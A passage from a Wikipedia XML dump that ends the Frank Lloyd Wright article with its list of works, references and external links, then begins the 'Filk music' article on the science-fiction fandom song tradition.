* [[Walter Gerts Cottage]], [[Whitehall, Michigan]], 1902
* [[George W. Spencer Residence]], [[Delavan, Wisconsin]], 1902
* [[Charles S. Ross Residence]], [[Delavan, Wisconsin]], 1902
* [[J.J. Walser, Jr. Residence]], [[Chicago, Illinois]], 1903
* [[Larkin Administration Building]], [[Buffalo, New York]], 1903
* [[Scoville Park Fountain]], [[Oak Park, Illinois]], 1903
* [[Abraham Lincoln Center]], [[Chicago, Illinois]], 1903
* [[Robert M. Lamp Residence]], [[Madison, Wisconsin]], 1903
* George [[Barton House|Barton Residence]], [[Buffalo, New York]], 1903
* [[Mamah Borthwick and Edwin H. Cheney Residence]], [[Oak Park, Illinois]], 1903
* [[Mrs. Thomas H. Gale Residence]], [[Oak Park, Illinois]], 1904
* [[Unity Temple]], [[Oak Park, Illinois]], 1904
* Burton J. [[Westcott House|Westcott Residence]], [[Springfield, Ohio]], 1904
* Darwin D. [[Martin House|Martin Estate]], [[Buffalo, New York]], 1904
* William R. [[Heath House|Heath Residence]], [[Buffalo, New York]], 1904
* Ferdinand Frederick and Emily [[Tomek Residence]], [[Riverside, Illinois]], 1904
* [[Harvey P. Sutton Residence]], [[McCook, Nebraska]], 1905
* [[Hiram Baldwin Residence]], [[Kenilworth, Illinois]], 1905
* [[Mary M. W. Adams Residence]], [[Highland Park, Illinois]], 1905
* [[William A. Glasner Residence]], [[Glencoe, Illinois]], 1905
* [[Charles A. Brown Residence]], [[Evanston, Illinois]], 1905
* [[Frank L. Smith Bank]], [[Dwight, Illinois]], 1905
* [[E.W. Cummings Real Estate Office]], [[River Forest, Illinois]], 1905
* [[E-Z Polish Factory]], [[Chicago, Illinois]], 1905 
* [[Lawrence Memorial Library]], [[Springfield, Illinois]], 1905
* [[A.P. Johnson Residence]], [[Delavan, Wisconsin]], 1905
* [[Darwin D. Martin Gardener’s Cottage]], [[Buffalo, New York]], 1905
* [[Thomas P. Hardy Residence]], [[Racine, Wisconsin]], 1905
* [[William H. Pettit Mortuary Chapel]], [[Belvidere, Illinois]], 1906
* [[Peter A. Beachy Residence]], [[Oak Park, Illinois]], 1906
* [[Frederick D. Nichols Residence]], [[Flossmoor, Illinois]], 1906
* [[River Forest Tennis Club]], [[River Forest, Illinois]], 1906
* [[P. D. Hoyt Residence]], [[Geneva, Illinois]], 1906
* [[A. W. Gridley Residence]], [[Batavia, Illinois]], 1906
* [[Grace Fuller Residence]], [[Glencoe, Illinois]], 1906
* [[K. C. DeRhodes Residence]], [[South Bend, Indiana]], 1906
* [[George Madison Millard Residence]], [[Highland Park, Illinois]], 1906
* Frederick C. [[Robie House|Robie Residence]], [[Chicago, Illinois]], 1906
* [[Jamestown Exhibition Pavilion]], [[Norfolk, Virginia]], 1907
* [[George Blossom Garage]], [[Chicago, Illinois]], 1907
* [[Tanyderi]], [[Spring Green, Wisconsin]],1907
* Avery [[Coonley House|Coonley Residence]], [[Riverside, Illinois]], 1907
* [[Stephen M. B. Hunt Residence I]], [[LaGrange, Illinois]], 1907
* [[G. C. Stockman Residence]], [[Mason City, Iowa]], 1908
* [[Raymond W. Evens Residence]], [[Chicago, Illinois]], 1908
* [[Browne’s Bookstore]], [[Chicago, Illinois]], 1908
* [[L. K. Horner Residence]], [[Chicago, Illinois]], 1908
* [[Bitter Root Inn]], [[Stevensville, Montana]], 1908
* [[Eugene A. Gilmore Residence]], [[Madison, Wisconsin]], 1908
* [[Edward E. Boynton Residence]], [[Rochester, New York]], 1908
* [[Meyer May Residence]], [[Grand Rapids, Michigan]], 1908
* Walter V. [[Davidson House|Davidson Residence]], [[Buffalo, New York]], 1908
* [[Isabel Roberts Residence]], [[River Forest, Illinois]], 1908
* [[Como Orchard Summer Colony]], [[Darby, Montana]], 1909
* [[Frank J. Baker Residence]], [[Wilmette, Illinois]], 1909
* [[Oscar Steffens Residence]], [[Chicago, Illinois]], 1909
* [[W. Scott Thurber Art Gallery]], [[Chicago, Illinois]], 1909
* [[City National Bank Building and Park Inn Hotel]], [[Mason City, Iowa]], 1909
* [[Stewart Summer Residence]], [[Montecito, California]], 1909
* [[J. Kibben Ingalls Residence]], [[River Forest, Illinois]], 1909
* [[Peter C. Stohr Arcade Building]], [[Chicago, Illinois]], 1909
* [[Edward P. Irving Residence]], [[Decatur, Illinois]], 1909
* [[Edward C. Waller Bathing Pavilion]], [[Charlevoix, Michigan]], 1909

===1910s===
* [[New York City Exhibition for the Universal Portland Cement Company]], [[New York, New York]], 1910
* [[Jessie R. Ziegler Residence]], [[Frankfort, Kentucky]], [[1910]]
* [[O. B. Balch Residence]], [[Oak Park, Illinois]], 1911
* [[Herbert Angster Residence]], [[Lake Bluff, Illinois]], 1911
* [[Sherman M. Booth Cottage]], [[Glencoe, Illinois]], 1911
* [[Banff National Park Pavilion]], [[Banff, Alberta]], 1911
* [[Lake Geneva Hotel]], [[Lake Geneva, Wisconsin]], 1911
* [[Taliesin I]], [[Spring Green, Wisconsin]], 1911
* [[Francis W. Little Residence II]], [[Deephaven, Minnesota]], 1912
* [[Avery Coonley Playhouse]], [[Riverside, Illinois]], 1912
* [[Observation Platform for Island Woolen Mills]], [[Baraboo, Wisconsin]], 1912
* [[William B. Greene Residence]], [[Aurora, Illinois]], 1912
* [[Harry S. Adams Residence]], [[Oak Park, Illinois]], 1913
* [[Midway Gardens]], [[Chicago, Illinois]], 1913
* [[Mori Oriental Art Studio]], [[Chicago, Illinois]], 1914
* [[Woman’s Building at Inter-County Fairgrounds]], [[Spring Green, Wisconsin]], 1914
* [[Taliesin II]], [[Spring Green, Wisconsin]], 1914
* [[A.D. German Warehouse]], [[Richland Center, Wisconsin]], 1915
* [[Edmund F. Brigham Residence]], [[Glencoe, Illinois]], 1915
* [[Ravine Bluffs Development]], [[Glencoe, Illinois]], 1915
* [[Ravine Bluffs Development Sculptures]], [[Glencoe, Illinois]], 1915
* [[Ravine Bluffs Development Bridge]], [[Glencoe, Illinois]], 1915
* [[Sherman M. Booth Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[Charles R. Perry Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[Hollis R. Root Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[William F. Kier Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[William F. Ross Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[Lute F. and Daniel Kissam Residence]], [[Glencoe, Illinois]], 1915 in Ravine Bluffs Development
* [[Emil Bach Residence]], [[Chicago, Illinois]], 1915
* [[Imperial Hotel]], [[Tokyo, Japan]], 1915 demolished, 1968, lobby and pool reconstructed in 1976 in at [[Meiji Mura]], near [[Nagoya, Japan]]
* [[Arthur L. Richards Small House]], [[Milwaukee, Wisconsin]], [[1915]], [[American System-Built Home]]
* [[Richards Bungalow]], [[Milwaukee, Wisconsin]], 1915, American System-Built Home
* [[Lewis E. Burleigh Residence]], [[Wilmette, Illinois]], 1915, American System-Built Home
* [[Ida and Grace McElwain Residence]], [[Lake Bluff, Illinois]], 1915, American System-Built Home
* [[Frederick C. Bogk]], [[Milwaukee, Wisconsin]], 1916
* [[Ernest Vosburgh Summer Residence]], [[Grand Beach, Michigan]], 1916
* [[Joseph J. Bagley Summer Residence]], [[Grand Beach, Michigan]], 1916
* [[W.S. Carr Summer Residence]], [[Grand Beach, Michigan]], 1916
* [[Henry J. Allen Residence]], [[Wichita, Kansas]], 1916
* [[Arthur R. Munkwitz Duplex Apartments]], [[Milwaukee, Wisconsin]], 1916, American System-Built Home
* [[Arthur L. Richards Duplex Apartments]], [[Milwaukee, Wisconsin]], 1916, American System-Built Home
* [[Stephen M. B. Hunt Residence II]], [[Oshkosh, Wisconsin]], 1917, American System-Built Home
* [[Guy C. Smith Residence]], [[Chicago, Illinois]], 1917, American System-Built Home
* [[H. H. Hyde Residence]], [[Chicago, Illinois]], 1917, American System-Built Home
* [[Oscar A. Johnson Residence]], [[Evanston, Illinois]], 1917, American System-Built Home
* [[Delbert W. Meier Residence]], [[Monona, Iowa]], 1917, American System-Built Home 
* Wilbert [[Wynant House]], [[Gary, Indiana]], 1917 , American System-Built Home (burned January [[2006]])
* [[Charles Heisen Residence]], [[Villa Park, Illinois]], 1917, American System-Built Home
* [[Aisaku Hayashi Residence]], [[Tokyo, Japan]], 1917
* [[Hollyhock House]] (Aline Barnsdall Residence), [[Los Angeles, California]], 1917
* [[Arinobu Fukuhara]], [[Kanagawa-Ken, Japan]], 1918
* [[Tazaemon Yamamura Residence]], [[Hyogo-Ken, Japan]], 1918

=== 1920s===
* [[Taliesin Dam and Hydroelectric Plant]], [[Spring Green, Wisconsin]], 1920
* [[Jiyu Gakuen Girls’ School]], [[Tokyo, Japan]], 1921
* Alice Millard Residence [[La Miniatura]], [[Pasadena, California]], 1923
* [[John Storer Residence]], [[Hollywood, Los Angeles, California|Hollywood, California]], 1923
* [[Samuel Freeman Residence]], [[Los Angeles, California]], 1923
* [[Ennis House|Ennis Residence]], [[Los Angeles, California]], 1923
* [[Taliesin III]], [[Spring Green, Wisconsin]], 1925
* [[Arizona Biltmore Hotel]], [[Phoenix, Arizona]], 1927
* Isabel Martin Residence, (&quot;[[Graycliff Estate]]&quot;), [[Buffalo, New York|Buffalo NY (Derby, NY)]], 1927
* [[Beach Cottages at Dumyat]], [[Dumyat, Egypt]], [[1928]]
* [[Ocatillo Desert Camp]], [[Chandler, Arizona]], 1928
* [[Richard Lloyd Jones Residence]], [[Tulsa, Oklahoma]], 1929

===1930s===
* [[Malcolm E. Willey Residence]], [[Minneapolis, Minnesota]], 1933
* Kaufmann Residence, [[Fallingwater]], [[Bear Run, Pennsylvania]], 1935
* [[Herbert Jacobs Residence I]], [[Madison, Wisconsin]], 1936
* Paul R. Hanna Residence, [[Honeycomb House]], [[Stanford, California]], 1936
* [[Abby Beecher Roberts Residence]], [[Marqutte, Michigan]], 1936
* [[Johnson Wax Headquarters]], [[Racine, Wisconsin]], 1936
* [[Herbert F. Johnson Residence]] (&quot;Wingspread&quot;), [[Wind Point, Wisconsin|Wind Point, WI]], 1937
* [[Ben Rebhuhn Residence]], [[Great Neck Estates, New York]], 1937
* [[Taliesin West]], [[Scottsdale, Arizona]], 1937
* [[Suntop Homes]], [[Ardmore, Pennsylvania]], 1938
* [[Charles L. Manson Residence]], [[Wausau, Wisconsin]], 1938
* [[John Clarence Pew Residence]], [[Shorewood Hills, Wisconsin]], 1938
* [[Frank Lloyd Wright's Florida Southern College Works|Pheiffer Chapel]], [[Lakeland, Florida]], 1938 For [[Florida Southern College]]
* [[Rose Pauson Residence]], [[Phoenix, Arizona]], 1939
* [[Sidney Bazett Residence]], [[Hillsborough, California]], 1939
* [[Andrew F. H. Armstrong Residence]], [[Ogden Dunes, Indiana]], 1939
* [[Rosenbaum House|Stanley Rosenbaum Residence]], [[Florence, Alabama]], 1939
* [[Lloyd Lewis Residence]], [[Libertyville, Illinois]], 1939
* [[Loren Pope Residence]], [[Falls Church, Virgina]], 1939
* [[Goetsch-Winckler Residence]], [[Okemos, Michigan]], 1939
* [[Joseph Euchtman Residence]], [[Baltimore, Maryland]], 1939
* [[Bernard Schwartz Residence]], [[Two Rivers, Wisconsin]], 1939
* [[George Sturges Residence]], [[Brentwood Heights, California]], 1939
* [[Clarence Sondern Residence]], [[Kansas City, Missouri]], 1939

===1940s===
* [[Auldbrass Plantation]], [[Yemassee, South Carolina]], 1940
* [[Gregor S. Affleck Residence]], [[Bloomfield Hills, Michigan]], 1940
* [[Arch Oboler Gatehouse]], [[Malibu, California]], 1940
* [[Theodore Baird Residence]], [[Amherst, Massachusetts]], 1940
* [[James B. Christie Residence]], [[Bernardsville, New Jersey]], 1940
* [[Community Christian Church]], [[Kansas City, Missouri]], 1940
* [[Stuart Richardson Residence]], [[Glen Ridge, New Jersey]], 1940
* [[Frank Lloyd Wright's Florida Southern College Works|Seminar Buildings]], [[Lakeland, Florida]], 1940 For [[Florida Southern College]]
* [[Frank Lloyd Wright's Florida Southern College Works|E.T. Roux Library]], [[Lakeland, Florida]], 1941 For [[Florida Southern College]]
* [[Wall Residence]], [[Plymouth, Michigan]], 1941
* [[Frank Lloyd Wright's Florida Southern College Works|Industrial Arts 
Building]], [[Lakeland, Florida]], 1942 For [[Florida Southern College]]
* [[Herbert Jacobs Second Residence]], [[Middleton, Wisconsin]], 1944
* [[Frank Lloyd Wright's Florida Southern College Works|Administration Building]], [[Lakeland, Florida]], 1945 For [[Florida Southern College]]
* [[Lowell Walter Residence]], [[Quasqueton, Iowa]], 1945
* [[Arnold Friedman Vaction Lodge]], [[Pecos, New Mexico]], 1945
* [[Frank Lloyd Wright's Florida Southern College Works|Esplanades]] [[Lakeland, Florida]], 1946 For [[Florida Southern College]]
* [[Melvyn Maxwell Smith Residence]], [[Bloomfield Hills, Michigan]], 1946
* [[Douglas Grant Residence]], [[Marion, Iowa]], 1946
* [[Alvin Miller Residence]], [[Charles City, Iowa]], 1946
* [[Chauncey Griggs Residence]], [[Tacoma, Washington]], 1946
* [[Unitarian Meeting House]], [[Shorewood Hills, Wisconsin]], 1947
* [[Dr. A.H. Bulbulian Residence]], [[Rochester, Minnesota]], 1947
* [[Amy Alpaugh Residence]], [[Northport, Michigan]], 1947
* [[Galesburg Country Homes]], [[Galesburg, Michigan]], 1948 
* [[David Weisblat Residence]], [[Galesburg, Michigan]], 1948 a Galesburg Country Home
* [[Eric Pratt Residence]], [[Galesburg, Michigan]], 1948 a Galesburg Country Home
* [[Samuel Eppstein Residence]], [[Galesburg, Michigan]], 1948 a Galesburg Country Home
* [[Curtis Meyer Residence]], [[Galesburg, Michigan]], 1948 a Galesburg Country Home
* [[Parkwyn Village]], [[Kalamazoo, Michigan]], 1948 
* [[Robert Levin Residence]], [[Kalamazoo, Michigan]], 1948 a Parkwyn Village Home
* [[Ward McCartney Residence]], [[Kalamazoo, Michigan]], 1949 a Parkwyn Village Home
* [[Eric V. Brown Residence]], [[Kalamazoo, Michigan]], 1949 a Parkwyn Village Home 
* [[Herman T. Mossberg Residence]], [[South Bend, Indiana]], 1948
* [[J. Willis Hughes Residence]], Fountainhead, [[Jackson, Mississippi]], 1948
* [[Carroll Alsop Residence]], [[Oskaloosa, Iowa]], 1948
* [[Jack Lamberson Residence]], [[Oskaloosa, Iowa]], 1948
* [[Mrs. Clinton Walker Residence]], [[Carmel, California]], 1948
* [[Albert Adelman Residence]], [[Fox Point, Wisconsin]], 1948
* [[Maynard Buehler Residence]], [[Orinda, California]], 1948
* [[Charles Weltzheimer Residence]], [[Oberlin, Ohio]], 1948
* [[Erling Brauner Residence]], [[Okemos, Michigan]], 1948
* [[V.C. Morris Gift Shop]], [[San Francisco, California|San Francisco, CA]], 1948
* [[James Edwards Residence]], [[Okemos, Michigan]], 1949
* [[Henry Neils Residen]]ce, [[Minneapolis, Minnesota]], 1949
* [[Howard Anthony Residence]], [[Benton Harbor, Michigan]], 1949
* [[Unonia Homes]], [[Pleasantville, New York]], 1948-1951
* [[Sol Friedman Residence]], [[Pleasantville, New York]], 1948 a Unonia Home
* [[Edward Serlin Residence]], [[Pleasantville, New York]], 1949 a Unonia Home
* [[Kenneth Laurent Residence]] [http://www.dgunning.org/architecture/Illinois/laurent.htm:], 4646 Spring Brook Road, [[Rockford, Illinois]], 1949

===1950s===
* [[Robert D. Winn Residence]], [[Kalamazoo, Michigan]], 1950 a Parkwyn Village Home
* [[Wilbur Pearce Residence]], [[Bradbury, California]], 1950
* [[Thomas Keys Residence]], [[Rochester, Minnesota]], 1950
* [[David Wright Residence]], [[Phoenix, Arizona]], 1950
*
* [[Ronny Reisley Residence]], [[Pleasantville, New York]], 1951 a Unonia Home 
[[Image:PriceTower.jpg|thumb|300px|right|[[Price Tower]], [[Bartlesville, Oklahoma]]]]
* [[Price Tower]], [[Bartlesville, Oklahoma]], 1952
* [[Cooke House]], [[Virginia Beach, Va.]], designed 1953 built 1959
* [[Kentuck Knob]], [[Uniontown, Pennsylvania]], 1953
* [[Annunciation Greek Orthodox Church]], [[Wauwatosa, Wisconsin]], designed in 1956, completed in 1961
* [[Gorden House]], [[Silverton, Oregon]], Designed in 1957, Completed in 1964
* [[Pilgrim Congregational Church]], [[Redding, California]], 1958

===Other===
* [[Beth Sholom Synagogue]], [[Elkins Park]], [[Pennsylvania]], 1954

* [[R.W. Lindholm Service Station]]  [[Cloquet, Minnesota]] 1956
* [[Marin County Civic Center]], [[San Rafael, California|San Rafael, CA]], 1957&amp;ndash;66 (featured in the movies [[Gattaca]] &amp; [[THX-1138]])
* [[Blue Sky Mausoleum]], [[Buffalo, New York|Buffalo NY]], [[2004]]
* [[Louis Penfield House]], [[Willoughby Hills, Ohio]], 1955
* [[Grady Gammage Memorial Auditorium]], [[Tempe, Arizona]], built 1964

=== Unbuilt works ===
* [[San Marcos In The Desert]], near [[Chandler, Arizona]], 1929
* [[Gordon Strong Automobile Objective]], [[Sugarloaf Mountain, Maryland]],1924
* [[Rogers Lacy Hotel]], [[Dallas, Texas]], 1946

==References==

===Selected books and articles on Wright’s philosophy:===
*''Frank Lloyd Wright'', by Robert McCarter
*''Frank Lloyd Wright’s Usonian Homes: Designs for Moderate Cost One-Family Homes'', by John Sergeant
*''Frank Lloyd Wright’s Usonian Homes (Wright at a Glance Series)'', by Carla Lind
*&quot;In the Cause of Architecture,&quot; Architectural Record, March, 1908, by Frank Lloyd Wright. Published in ''Frank Lloyd Wright: Collected Writings, vol. 1''.
*''Natural House, The'', by Frank Lloyd Wright 
*''Truth Against the World: Frank Lloyd Wright Speaks for an Organic Architecture'', ed. by Patrick Meehan
*''Understanding Frank Lloyd Wright's Architecture'', by Donald Hoffman
*''Usonia : Frank Lloyd Wright's Design for America'', Alvin Rosenbaum

===Biographies on Wright===
*''Many Masks'', by Brendan Gill
*''Frank Lloyd Wright: a Biography'', by Meryle Secrest
*''Frank Lloyd Wright: His Life and Architecture'', by Robert Twombly

===Selected survey books on Wright’s work:===
*''Architecture of Frank Lloyd Wright, The'', by Neil Levine
*''Architecture of Frank Lloyd Wright: A Complete Catalog, The'', by William Allin Storrer ISBN 0-226-77623-9
*''Frank Lloyd Wright: America’s Master Architect'', by Kathryn Smith
*''Frank Lloyd Wright: Architect'', by the Museum of Modern Art
*''Frank Lloyd Wright Companion, The'', by William Allin Storrer ISBN 0-226-77624-7
*''Frank Lloyd Wright: Masterworks'', by Bruce Brooks Pfeiffer
*''Wrightscapes: Frank Lloyd Wright’s Landscape Designs'', by Charles and Berdeana Aguar

==See also==
* [[:Category:Frank Lloyd Wright buildings|Frank Lloyd Wright buildings]]
* [[Wasmuth Portfolio]]
* [[Bridge Over Troubled Water|&quot;So Long, Frank Lloyd Wright&quot; (song)]]

==External links==
{{commons|Frank Lloyd Wright}}
{{wikiquote}}
*[http://www.uni.edu/artdept/gd/rbehrens3.html Roy R. Behrens: Grant Wood and Frank Lloyd Wright: A Gothic Revival]
*[http://www.franklloydwright.org/ Frank Lloyd Wright Foundation]
*[http://www.wrightplus.org/ Frank Lloyd Wright Preservation Trust]
*[http://www.structural.net/News/Media_coverage/media_fallingwater_toh.html Saving Fallingwater from Collapse]
*[http://www.savewright.org/ Frank Lloyd Wright Building Conservancy]
*[http://www.pbs.org/flw/ Frank Lloyd Wright] a [[PBS]] [[Television documentary|documentary]] by [[Ken Burns]]
*[http://www.bolender.com/Frank%20Lloyd%20Wright/Frank%20Lloyd%20Wright.htm Photo visits and a visit to a major work inspired by Frank Lloyd Wright]
*[http://www.casas.com/architect/franklloydwright/fallingwater000.html Fallingwater Photo Tour]
*[http://www.loc.gov/exhibits/flw/flw.html Frank Lloyd Wright. Designs for an American Landscape 1922-1932]
*[http://www.wrightinwisconsin.org/ Frank Lloyd Wright in Wisconsin]
*[http://www.appraisercitywide.com/FrankLloydWright Frank Lloyd Wright in the Chicago Area]
*[http://www.blueskymausoleum.com/ Frank Lloyd Wright's Blue Sky Mausoleum (Buffalo, NY) Built 2004]
*[http://www.pierce-arrow.com/flw%20filling%20station.htm Frank Lloyd Wright's Filling Station (Buffalo, NY)]
*[http://www.darwinmartinhouse.org Darwin Martin House (Buffalo, NY)]
*[http://ah.bfn.org/a/archs/wright/buff/ Frank Lloyd Wright in Buffalo, NY]
*[http://graycliff.bfn.org/ Graycliff Estate (Buffalo, NY)]
*[http://www.westcotthouse.org/ The Westcott House, Springfield Ohio]
*[http://www.koutayba.com/flw/ A Frank Lloyd Wright presentation]
*[http://architecture.about.com/library/bl-wright-list.htm Complete list of Wright buildings]
*[http://www.geocities.com/SoHo/1469/flwquote.html Some famous Frank lloyd Wright quotes.]
*[http://www.jiyu.jp/index-e.html Jiyuugakuen Myonichikan,Tokyo]
*[http://www.yodoko.co.jp/geihinkan/index_e.html Yodoko Guest House,Kobe]
*[http://you-are-here.com/architect/wright.html FLW in Los Angeles]
*[http://patentroom.com/architecture/patents/frank-lloyd-wright-house.html Patent illustration for Ardmore Experiment]
*[http://daronhagen.com/brow/index.html Official Website of 'Shining Brow' the opera about Frank Lloyd Wright]
*[http://architect.architecture.sk/frank-lloyd-wright-architect/frank-lloyd-wright-architect.php Frank Lloyd Wright : architect biography]
*[http://www.state.il.us/hpa/Thomas.htm The Dana-Thomas House, Springfield, Illinois]
* [http://www.geocities.com/allwrightsite/flw.html All Wright Site]
* [http://www.delmars.com/wright/flw8-16.htm Beth Sholom Synagogue]

[[Category:1867 births|Wright, Frank Lloyd]]
[[Category:1959 deaths|Wright, Frank Lloyd]]
[[Category:American architects|Wright, Frank Lloyd]]
[[Category:Architects|Wright, Frank Lloyd]]
[[Category:Organic Architecture|Wright, Frank Lloyd]]
[[Category:Autodidacts|Wright, Frank Lloyd]]
[[Category:Chicagoans|Wright, Frank Lloyd]]
[[Category:People from Arizona|Wright, Frank Lloyd]]
[[Category:People from Wisconsin|Wright, Frank Lloyd]]
[[Category:Welsh-Americans|Wright, Frank Lloyd]]
[[Category:Unitarian Universalists|Wright, Frank Lloyd]]
[[Category:University of Wisconsin-Madison alumni|Wright, Frank Lloyd]]
[[Category:Phi Delta Theta brothers|Wright, Frank Lloyd]]
[[Category:American culture]]

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[[th:แฟรงก์ ลอยด์ ไรต์]]</text>
    </revision>
  </page>
  <page>
    <title>Filk music</title>
    <id>10685</id>
    <revision>
      <id>41558773</id>
      <timestamp>2006-02-28T03:37:00Z</timestamp>
      <contributor>
        <username>SDorn</username>
        <id>791179</id>
      </contributor>
      <comment>/* Awards and Funds */ (Deleted mention of Sams, w/o link)</comment>
      <text xml:space="preserve">'''Filk''' is a musical culture, genre, and community tied to [[Science fiction fandom|science fiction/fantasy fandom]], active since the early 1950s if concentrated primarily since the mid-1970s. 

==Definitions of filk==
As [[Debbie Ridpath Ohi]]'s compilation [http://www.electricpenguin.com/filking/articles/whatisfilk2.html What Is Filk?] and the Interfilk [http://www.interfilk.org/interfilk/filk.htm What Is Filk] page each demonstrate, there is no consensual definition of filk, though one could divide the different proposed definitions by their focus on the content and style of filk music or the cultural aspects of filking as an activity.

One definition focuses on filk as a genre: filk is [[folk music]], usually with a [[science fiction]] or [[fantasy]] theme. This definition is not exact; '''filkers''' often also write filk songs about [[computers]] or [[cat]]s. The other common definition is anthropological (and recursive): Filking is what is sung/performed by the network of people who originally gathered to sing at science fiction/fantasy conventions. Yet another definition focuses on filking as a community of those interested in filk music and who form part of the social network self-identified with filking. As described later in this article, the origins of filk in science fiction conventions and its current organization emphasizes the social-network aspect of filking.

Whichever definition one chooses, filk is a form of [[music]] created from within science fiction &amp; fantasy [[fandom]], often performed late at night at [[science fiction conventions]], though there are now dedicated filk conventions in [[Canada]], [[England]], [[Germany]], and the [[USA]].  And whichever definition one chooses, the boundaries of filking are muddy. For example, filking overlaps with the singing and music performed by participants in the [[Society for Creative Anachronism]].

==Styles and subjects==
In keeping with the folk-culture roots of filk, the musical styles and topics of filk music are eclectic. While a plurality of filk is rooted firmly in acoustic-instrument [[Folk music|folk music]], other pieces and artists draw inspiration from [[Rock (music)|rock]], [[A capella|a capella]] vocal groups, or other styles. The hobbyist and itinerant nature of filk events (especially folk circles) gives some advantages to acoustic-vocal soloists and small groups, who need only carry a lightweight instrument or two and whose rehearsals do not need to balance scheduling logistics against regular work and other obligations. One of the few rock-style groups in filk has been [[Ookla the Mok (band)|Ookla the Mok]], whose studio recordings use techniques common in modern rock. 

The range of topics in filk songs stems from its cultural roots in [[Fandom|fandom]]. Many songs honor specific works in science fiction, fantasy, or speculative fiction. Other songs are about science, fantasy, computers, technology in general, or values related to technological change. Yet others are about the culture of fandom, including filk. Some clusters of songs do not fall neatly from the origins of filk in fandom, however, including songs about cats or popular culture in general. These are perhaps best explained as an outgrowth of filk as a folk culture, open in some respects to expansion by individual artists.

==History==
For the first few decades of the occasional [[science fiction convention]], there had been late-night singing sessions in hotel rooms. Part of this practice may have been rooted in an older folk culture of fans. Some of the oldest filks coming out of [[Fandom|fandom]] were protest songs with original words and music written by a group of New York fans called [[Futurians|The Futurians]], and were written by [[Fred Pohl]] and [[Cyril Kornbluth]] (see [[Damon Knight]]'s book of the same name, which contains the words and music to several of them). With the break up of the city clubs common during the depression, filking moved to science fiction conventions, often in the form of late-night singing sessions in hotel rooms, lobbies, service passages, or wherever else the filkers could find enough room to play/sing music uninterrupted.

In the early 1950s, the term ''filk music'' started as a misspelling of ''folk music'' in an essay by Lee Jacobs, &quot;The Influence of Science Fiction on Modern American Filk Music.&quot; While [http://www.wildebst.demon.co.uk/WoF.html some sources] claim that the editor of the Spectator Amateur Press Society refused to publish it, what '''is''' clear in the oral tradition of filking is that Jacobs's typo became the self-identified term for the genre/subculture while it was still an informal, unrecognized activity at conventions.  Its first documented deliberate use was by [[Karen Kruse Anderson]] in ''Die Zeitschrift für vollständigen Unsinn'' (''The Journal for Utter Nonsense'') #774 (June 1953), for a song written by her husband [[Poul Anderson]].

At the 1974 World Science Fiction Convention, author [[Robert Asprin|Bob Asprin]] announced publicly the creation of a group of volunteers he dubbed the [http://www.di.org/ Dorsai Irregulars], and a singing session ensued later that night (according to John Hall's essay, &quot;[http://www.di.org/di_f_his.htm Filk Music and the Dorsai Irregulars]&quot; (a reference to a culture in [[Gordon R. Dickson]]'s [[Childe Cycle]] books).  In the 1970s and 1980s, filking slowly became established as an acknowledged activity at science fiction conventions. Some convention organizers allotted hotel function space late at night for filkers, or filking occurred in hallways, bars or any other place that the filkers could find. Some convention organizers in the 1980s began inviting guests specifically for their filking. Some specialized conventions focused entirely on filk, beginning with FilkCon in [[Chicago]] in 1979, organized by [http://www.filkontario.ca/1997.htm#middle Margaret Middleton] and Curt Clemmer, later joined by BayFilk in Northern California; the [http://www.ovff.org Ohio Valley Filk Fest] (OVFF) in Columbus, Ohio; ConChord in [[Los Angeles]], California; Musicon in [[Nashville, Tennessee]]; [http://www.filkontario.ca FilkOntario] near [[Toronto]], [[Ontario]]; a rotating British filkcon; and others. These efforts grew to raising funds for traveling filkers. The first was a British Filk Fund modeled on the [http://taff.org.uk/ Trans-Atlantic Fan Fund] and then, in the early 1990s, several active organizers in North America [http://www.interfilk.org/interfilk/back.htm created Interfilk], which is now the most active traveling filker fund. Beginning with British filker Mike Whitaker in 1992, 40 filkers were the beneficiaries of [http://www.interfilk.org/ Interfilk] subsidies in its first decade. OVFF began presenting the [[Pegasus Award]] annually for excellence in filk in 1984, and [http://www.filkontario.ca FilkOntario] started the [http://www.filkontario.ca/HallofFame.htm Filk Hall of Fame] in 1995.

[[Off Centaur Publications]] became the first formal attempt to record and produce filk albums, followed by many others since. As the costs of amateur album production dropped in the 1990s, more filkers created albums and, more recently, audio files available for downloading online. 

E-mail and the internet have also fostered the networking of self-identified filkers. In the late 1980s, California filker Kay Shapero created the filk group on the Fidonet hobbyist network of electronic bulletin boards. The later creation of other electronic forums&amp;#151;the Usenet group rec.music.filk, a [http://www.filklore.com/filk_uk.phtml British Isles e-mail list], an [http://www.filknet.org/irc.html IRC channel] devoted to filking, and a growing cluster of filkers blogging on [http://www.livejournal.com Livejournal] (including a Livejournal [http://community.livejournal.com/filk/ community]), to pick a few examples&amp;#151;have mirrored the growing connections among other self-identified social networks (or subcultures). The availability of several hundred albums labeled filk, the proliferation of specialty filk conventions, and the continued growth of electronic means for community connections have led to an intensification of community building. A few years into the 21st century, filking as an identifiable community exists on at least three continents.
æ

==A cultural perspective==

There are several shared values that come from the cultural creation of filk in a social network, even one that spans several continents. 

At a deep level, the folk culture of filk validates creative arts in the midst of an explicitly technological culture. When accepting induction into the Filk Hall of Fame in 1993, ethnomusicologist Sally Childs-Helton said, ''We have taken our right to be creative and to literally &quot;play&quot; in the best sense of that word.'' Filk combines folk roots, live music circles, and dominant acoustical instrumentation, on the one hand, with high-tech cultural maintenance, on the other hand&amp;#151;a dense network of filkers' web pages, recordings, sound reinforcement at filk conventions, e-mail lists, and so on. The eclectic content of filk frequently contains that assertion of human creativity, especially in connection with technology. (See for example Leslie Fish's [http://www.ovff.org/pegasus/songs/hope-eyrie.html Hope Eyrie].) While there are significant numbers of memorial songs (e.g., Launius, 2004), pessimistic songs blame carelessness, incompetence, and corruption, only rarely considering the frailties of a society built on technology or hopes for the future. Because these themes cross international boundaries in filk, they are not explainable as a purely American optimism vis-a-vis technology (e.g., Nye, 1996). 

